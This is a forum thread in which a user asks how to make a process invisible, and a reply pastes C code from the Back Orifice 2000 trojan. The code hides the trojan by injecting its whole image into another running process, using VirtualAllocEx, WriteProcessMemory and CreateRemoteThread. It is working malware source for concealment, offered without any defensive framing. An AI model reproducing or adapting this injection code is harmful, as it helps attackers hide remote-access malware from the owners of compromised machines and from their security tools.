Anyone know how? I don't want the process to show at all.
------------------
-Greg
------------------
-Greg
if(g_bIsWinNT) { //---------------------- WINDOWS NT PROCESS HIDE ------------------- // ------------------------------------------------------- // -- Process Hiding Code // -- Note that there are several different ways to do // -- what this code does. Both of the methods presented // -- below were written specifically to avoid accessing // -- the original BO2K image on disk. // -- This way, the original BO2K disk file can be compressed // -- with all of the plugin attachments inside, and // -- the original executable can be moved around/deleted // -- while the BO2K server still runs. // Get another process and thread id PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL); DWORD dwThreadID, dwProcID; for(ppie=ppi;ppie!=NULL;ppie=ppie->next) { if(lstrcmpi(ppie->svApp,svProcess)==0) break; } if(ppie==NULL) return FALSE; dwProcID=ppie->dwProcID; dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter) DestroyProcListSnapshot(ppi); // Make sure we aren't hopping into ourselves if(GetCurrentProcessId()==dwProcID) return FALSE; // Open process to inject code into HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID); if(hProc==NULL) { DebugMessageBox(NULL,"Unable to open process","ERROR",MB_SETFOREGROUND); return FALSE; } // Free space for BO2K (in case we are restarting) pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE); // Allocate space for BO2K to fit in the process DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage; char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(pMem==NULL) { DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND); return FALSE; } // Lets copy the entire bo2k process into this space. DWORD dwOldProt,dwNumBytes,i; MEMORY_BASIC_INFORMATION mbi; pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION)); while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) { if(!(mbi.Protect & PAGE_GUARD)) { for(i=0;i<mbi.RegionSize;i+=0x1000) { pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt); WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes); } } pMem+=mbi.RegionSize; pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION)); } // Create a remote thread in the other process DWORD dwRmtThdID; HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID); if(hRmtThd==NULL) { DebugMessageBox(NULL,"Could create remote thread","ERROR",MB_SETFOREGROUND); return FALSE; } CloseHandle(hProc); return 0;
We process personal data about users of our site, through the use of cookies and other technologies, to deliver our services, and to analyze site activity. For additional details, refer to our Privacy Policy.
By clicking "I AGREE" below, you agree to our Privacy Policy and our personal data processing and cookie practices as described therein. You also acknowledge that this forum may be hosted outside your country and you consent to the collection, storage, and processing of your data in the country where this forum is hosted.
Comment